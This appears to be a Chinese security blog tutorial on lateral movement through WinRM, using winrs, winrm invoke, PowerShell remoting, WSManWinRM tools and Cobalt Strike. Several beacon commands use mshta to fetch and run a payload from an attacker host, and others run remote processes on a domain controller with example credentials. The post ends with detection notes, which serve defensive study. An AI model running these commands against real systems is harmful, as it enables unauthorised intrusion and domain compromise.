横向移动之WinRM横向移动

2021-03-16 10:46:23 浏览数 (1)

WinRM的简要概述

"Windows远程管理(WinRM)"是WS-Management协议(Web Services for Management,又名WSMan)的Microsoft实现,WS-Management Protocol是基于标准简单对象访问协议(SOAP)的对防火墙友好的协议。运行来自不同硬件和操作系统的硬件和操作供应商,以实现互操作(Microsoft Docs)。

作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WAMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代的Windows系统中,WinRM HTTP通信通过TCP端口5985进行,而HTTPS(TLS)通信是通过TCP端口5986进行的。WinRM本机支持NTLM和Kerberos(域内)身份验证。初始身份验证后,将使用AES加密保护WinRM会话(Microsoft Docs)

注意:必须配置并且运行WinRM服务才能接受远程链接。可以使用winrm.cmd quickconfig命令或通过组策略来快速设置。WinRM接受连接可能还需要几个步骤。请参阅这篇Pentest Lab文章以了解更多信息。

我们可以通过nmap获取其他端口扫描工具来侦测对方有无开启WinRM对应的通讯端口。

WinRM服务自Windows Vista开始成为Windows的默认组件,在运行与启动上有以下几个特点:

  1. 在Windows Vista上必须手动启动WinRM服务,但从Windows Server 2008开始,WinRM服务自动启动
  2. 默认情况下,WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据
  3. 使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口,同时Windows防火墙生成这两个端口的例外

WinRM的组件主要由以下几部分构成:

  1. WinRM Scritping API:提供给外部的用于执行管理操作的接口
  2. winrm.cmd和winrm.vbs:系统内置的用于配置WinRM的命令行工具,基于VBS脚本并使用了WinRM Scritping API
  3. winrs.exe:基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令

通过winrs.exe来执行远程命令利用

Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。该工具利用WS-Management协议。更多功能可以查看微软文档

代码语言:javascript复制
beacon> shell winrs /?
[*] Tasked beacon to run: winrs /?
[ ] host called home, sent: 39 bytes
[ ] received output:

用法
=====
(全部大写的字符 = 必须由用户提供的值。)

winrs [-/SWITCH[:VALUE]] COMMAND

COMMAND - 可以作为 cmd.exe 外壳程序中的命令来执行的任何字符串。

开关
========
(所有开关都接受短形式或长形式。例如 -r 和
-remote 都有效。)

-r[emote]:ENDPOINT      - 使用 NetBIOS 名称或标准连接 URL: [TRANSPORT://]TARGET[:PORT] 的目标终结点。如果未指定该点,
则使用 -r:localhost。

-un[encrypted]          - 指定不加密到远程外壳程序的消息。这在以下情况下有用: 疑难解答、已使用 IPSec 加密网络通讯,或者强制使用物理安全性。默认情况下,使用 Kerberos 或 NTLM 密钥加密消息。选择 HTTPS 传输时忽略该开关。

-u[sername]:USERNAME    - 在命令行上指定用户名。如果未指定该用户名,则工具将使用协商身份验证或提示指定名称。
如果指定 -username,则还必须指定 -password。

-p[assword]:PASSWORD    - 在命令行上指定密码。如果未指定 -password 而指定 -username,则工具将提示指定密码。如果指定 -password,则还必须指定 -user。

-t[imeout]:SECONDS      - 不推荐使用该选项。

-d[irectory]:PATH       - 指定远程外壳程序的启动目录。如果未指定,则远程外壳程序将在用户的主目录下启动,该主目录由环境变量 %USERPROFILE% 定义。

-env[ironment]:STRING=VALUE   - 指定外壳程序启动时要设置的单个环境变量,这允许更改外壳程序的默认环境。必须多次使用该开关来指定多个环境变量。

-noe[cho]               - 指定应禁用该回显。可能需要此操作来确保不在本地显示用户对远程提示的响应。默认情况下,回显为 "on"。

-nop[rofile]            - 指定不应加载用户的配置文件。默认情况下,服务器将试图加载用户配置文件。如果远程用户不是目标系统上的本地管理员,则需要使用该选项 (默认设置将导致错误)。

-a[llow]d[elegate]      - 指定可以将用户凭据用于访问远程共享,例如,不是目标终结点所在的计算机上创建的远程共享。

-comp[ression]          - 启用压缩。远程计算机上的旧安装可能不支持压缩,因此默认情况下处于禁用状态。

-[use]ssl               - 在使用远程终结点时使用 SSL 连接。指定该传输 "https:" 以外的设置时,将使用默认的 WinRM 默认端口。

-?- 帮助

若要终止远程命令,用户可以键入 Ctrl-C 或 Ctrl-Break,该键入将被发送到远程外壳程序。第二次 Ctrl-C 将强制终止 winrs.exe。

若要管理活动的远程外壳程序或 WinRS 配置,请使用 WinRM 工具。管理活动的外壳程序的 URI 别名为 shell/cmd。WinRS 配置的 URI 别名为 winrm/config/winrs。键入 "WinRM -?" 可以在 WinRM 工具中找到示例用法。

示例:
winrs -r:https://myserver.com command
winrs -r:myserver.com -usessl command
winrs -r:myserver command
winrs -r:http://127.0.0.1 command
winrs -r:http://169.51.2.101:80 -unencrypted command
winrs -r:https://[::FFFF:129.144.52.38] command
winrs -r:http://[1080:0:0:0:8:800:200C:417A]:80 command
winrs -r:https://myserver.com -t:600 -u:administrator -p:$%fgh7 ipconfig
winrs -r:myserver -env:PATH=^%PATH^%;c:tools -env:TEMP=d:temp config.cmd
winrs -r:myserver netdom join myserver /domain:testdomain /userd:johns /passwordd:$%fgh789
winrs -r:myserver -ad -u:administrator -p:$%fgh7 dir \anotherservershare

我们可以通过winrs来进行横向移动。这里通过 -u来指定用户名 -p指定密码

代码语言:javascript复制
beacon> shell winrs -r:dc  -u:oneadministrator -p:q123456. "cmd.exe /c mshta.exe http://192.168.1.115:80/e.ext"
[*] Tasked beacon to run: winrs -r:dc  -u:oneadministrator -p:q123456. "cmd.exe /c mshta.exe http://192.168.1.115:80/e.ext"
[ ] host called home, sent: 129 bytes
beacon> shell winrs -r:dc  -u:oneadministrator -p:q123456. "cmd.exe /c hostname"
[*] Tasked beacon to run: winrs -r:dc  -u:oneadministrator -p:q123456. "cmd.exe /c hostname"
[ ] host called home, sent: 98 bytes
[ ] received output:
dc

beacon> shell hostname
[*] Tasked beacon to run: hostname
[ ] host called home, sent: 39 bytes
[ ] received output:
ex

成功执行命令的远程过程链如下:

代码语言:javascript复制
svchost.exe (DcomLaunch)-> winrshost.exe -> cmd.exe [/c remote command] -> [remote command/binary]

此外,Winrs事件作为Microsoft-Windows-WinRM / Operational(事件ID 91)记录在远程主机上。

通过winrm.cmd来进行命令执行

在命令行中执行winrm quickconfig对WinRM进行首次(默认)配置,这里我已经配置好了,此时,WinRM服务已经开始监听5985/TCP(从WinRM2.0开始,服务的HTTP默认监听端口由原来的80/TCP变更为5985/TCP)端口并等待远程主机进行访问, 通 过 winrm enumerate winrm/config/listener 查看WinRM服务当前的配置情况:

以此配置为例,此时远程主机已经可以通过WS-Management协议访问http://192.168.8.215/wsman连接当前服务器的WinRM服务。不过,WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。因此在连接之前,还需要确保发起连接的主机与当前服务器处于同一域或者两台主机的WinRM服务TrustedHosts中必须存在对方主机的IP或主机名,这里类似于一个白名单机制。可以执行winrm set winrm/config/client @{TrustedHosts="*"}手动配置当前服务器允许被任意主机连接:

WinRM(.vbs)允许WMI对象通过WinRM传输进行远程交互,可以利用几个WMI类来执行远程命令执行,一个非常著名的WMI类Win32_Process可以通过利用Create方法来生成(远程)进程,调用该命令在本地启动一个calc.exe进程。

代码语言:javascript复制
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="calc.exe"}

当然我们可以通过 -r 来指定远端的机器。

代码语言:javascript复制
shell winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c mshta.exe http://192.168.1.115:80/e.ext"} -r:dc -u:oneadministrator -p:q123456.

下面是WinRM的一些简单命令

代码语言:javascript复制
#查看WinRM状态
winrm enumerate winrm/config/listener
 
#开启WinRM远程管理
Enable-PSRemoting –force
 
#设置WinRM自启动
Set-Service WinRM -StartMode Automatic
 
#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口
winrm quickconfig -q
#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口
winrm quickconfig -transport:https    
 
#查看WinRM的配置
winrm get winrm/config
 
#查看WinRM的监听器
winrm e winrm/config/listener
 
#为WinRM服务配置认证
winrm set winrm/config/service/auth '@{Basic="true"}'
 
#修改WinRM默认端口
winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'
 
#为WinRM服务配置加密方式为允许非加密:
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
 
#设置只允许指定IP远程连接WinRM
winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'
 
#执行命令
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'
 
#在dc机器上面执行命令并且指定用户名和密码
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:dc -u:oneadministrator -p:q123456.

通过Enter-PSSession来进行远程连接

Enter-PSSession是可以在powershell上面通过5985/5986端口进行远程连接,详细的操作可以查阅微软文档

代码语言:javascript复制
Enter-PSSession -computer dc.one.com -Credential oneadministrator -Port 5985
代码语言:javascript复制
New-PSSession -Name PSSession -ComputerName dc.one.com -Credential oneadministrator
Enter-PSSession -Name PSSession 

查看WinRM远程会话
Get-PSSession
 
进入ID为2的WinRM会话中
Enter-PSSession -id 2
 
退出WinRM会话
Exit-PSSession

可以通过指定 -ScriptBlock 来执行命令上线

代码语言:javascript复制
Invoke-Command -Computername TARGET -ScriptBlock {command}

下面是在powershell上面执行查看WINRM的一些命令

代码语言:javascript复制
# Enable PowerShell Remoting on the target (box needs to be compromised first)
Enable-PSRemoting -force

# 检查指定系统是否正在WinRM端口上侦听
Test-NetConnection <IP> -CommonTCPPort WINRM

# 信任所有主机:
Set-Item WSMan:localhostClientTrustedHosts -Value * -Force

# 检查哪些主机受信任
Get-Item WSMan:localhostClientTrustedHosts

# 在远程主机上执行命令
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}

# 使用Kerberos的交互式会话:
Enter-PSSession <host> -Authentication Kerberos

# 将文件上传到远程会话
Copy-Item -Path C:TempPowerView.ps1 -Destination C:Temp -ToSession (Get-PSSession)

# 从远程会话下载文件
Copy-Item -Path C:UsersAdministratorDesktoptest.txt -Destination C:Temp -FromSession (Get-PSSession)

利用WSManWinRM进行横向移动

bohops大佬在博客中有写一篇文章《WS-Management COM: Another Approach for WinRM Lateral Movement》有介绍实现了WSMan-WinRM工具的过程,这个工具也是很不错。

在.NET C#中构建WSMan-WinRM工具,创建新的.NET Framework(4)控制台应用程序项目后,通过在解决方案资源管理器中右键单击“依赖项”菜单并选择“添加COM引用”,接着选择图中的选项。

或者选择在通过在解决方案资源管理器中右键单击依赖项中选择添加项目引用。来添加依赖文件。

在引用管理器中,选择浏览并从C:WindowsSystem32中 导入WsmAuto.dll文件:

这样就可以构建到项目了。作者这里提供了5中不同的执行方式。

当然可以在cobaltstrike加载powershell来进行WSManWinRM横向移动,WSManWinRM.ps1用法如下。

代码语言:javascript复制
Usage: Invoke-WSManWinRM -hostname <hostname> -command <command>
 Usage: Invoke-WSManWinRM -hostname <hostname> -command <command> -user <domainuser> -password <password>

 Example: import-module .WSManWinRM.ps1
          Invoke-WSManWinRM -hostname dc.one.com -command calc.exe
 Example: import-module .WSManWinRM.ps1
          Invoke-WSManWinRM -hostname dc.one.com -command calc.exe -user oneadministrator -password q123456.

WSManWinRM.js

代码语言:javascript复制
 Usage: cscript.exe SharpWSManWinRM.js <hostname> <command>
 Usage: cscript.exe SharpWSManWinRM.js <hostname> <command> <domainuser> <password>

 Example: cscript.exe SharpWSManWinRM.js dc.one.com notepad.exe
 Example: cscript.exe SharpWSManWinRM.js dc.one.com "cmd /c notepad.exe" oneadministrator q123456.

WSManWinRM.vbs

代码语言:javascript复制
 Usage: cscript.exe SharpWSManWinRM.vbs <hostname> <command>
 Usage: cscript.exe SharpWSManWinRM.vbs <hostname> <command> <domainuser> <password>

 Example: cscript.exe SharpWSManWinRM.vbs dc.one.com notepad.exe
 Example: cscript.exe SharpWSManWinRM.vbs dc.one.com "cmd /c notepad.exe" oneadministrator q123456.

SharpWSManWinRM.cs

代码语言:javascript复制
 Usage: SharpWSManWinRM.exe <hostname> <command>
 Usage: SharpWSManWinRM.exe <hostname> <command> <domainuser> <password>

 Example: SharpWSManWinRM.exe dc.one.com notepad.exe
 Example: SharpWSManWinRM.exe dc.one.com "cmd /c notepad.exe" oneadministrator q123456.

cobalt strike平台上利用winrm进行横向移动

在cobalt strike平台上有集成到winrm来进行横向移动,这里分有86位和64位的winrm

接着选择对应的位数,并且把相对于的信息填入进去。后面需要选择Listener和Session。

接着就上线成功了,也可以通过命令行界面来进行winrm的横向移动操作

代码语言:javascript复制
jump winrm64  TARGET  Listen
jump winrm64 dc.one.com http

翻了翻cobaltstrike的源码,找到了winrm的执行方式,他这里是通过powershell来执行命令的,通过 Invoke-Command 指定-ScriptBlock来执行命令。

通过Wireshark进行抓捕可以看到WinRM进行横向移动的时候的数据包如下

代码语言:javascript复制
POST /wsman?PSVersion=5.1.14393.1884 HTTP/1.1
Connection: Keep-Alive
Content-Type: application/soap xml;charset=UTF-8
Authorization: Kerberos YIILygYJKoZIhvcSAQICAQBuggu5MIILtaAD....省略
User-Agent: Microsoft WinRM Client
Content-Length: 0
Host: dc.one.com:5985


HTTP/1.1 200 
Content-Type: multipart/encrypted;protocol="application/HTTP-Kerberos-session-encrypted";boundary="Encrypted Boundary"
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 15 Feb 2021 04:33:02 GMT
Content-Length: 1274

--Encrypted Boundary
Content-Type: application/HTTP-Kerberos-session-encrypted
OriginalContent: type=application/soap xml;charset=UTF-8;Length=974
--Encrypted Boundary
Content-Type: application/octet-stream


HTTP/1.1 200 
WWW-Authenticate: Kerberos YIGYBgkqhkiG9xIBAgICAG BiDCBhaAD.....省略
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 15 Feb 2021 04:32:58 GMT
Content-Length: 0


POST /wsman?PSVersion=5.1.14393.1884 HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/encrypted;protocol="application/HTTP-Kerberos-session-encrypted";boundary="Encrypted Boundary"
User-Agent: Microsoft WinRM Client
Content-Length: 8295
Host: dc.one.com:5985

--Encrypted Boundary
Content-Type: application/HTTP-Kerberos-session-encrypted
OriginalContent: type=application/soap xml;charset=UTF-8;Length=7994
--Encrypted Boundary
Content-Type: application/octet-stream

在WinRM服务未开启监听HTTPS端口的情况下,Windows依然会加密WinRM会话以保证通信数据的完整性。不过,仍然可以通过HTTP请求与响应中的明文部分捕获WinRM认证及操作的行为,例如Microsoft WinRM Client、Encrypted Boundary、HTTP-SPNEGO-session-encrypted等关键字

0 人点赞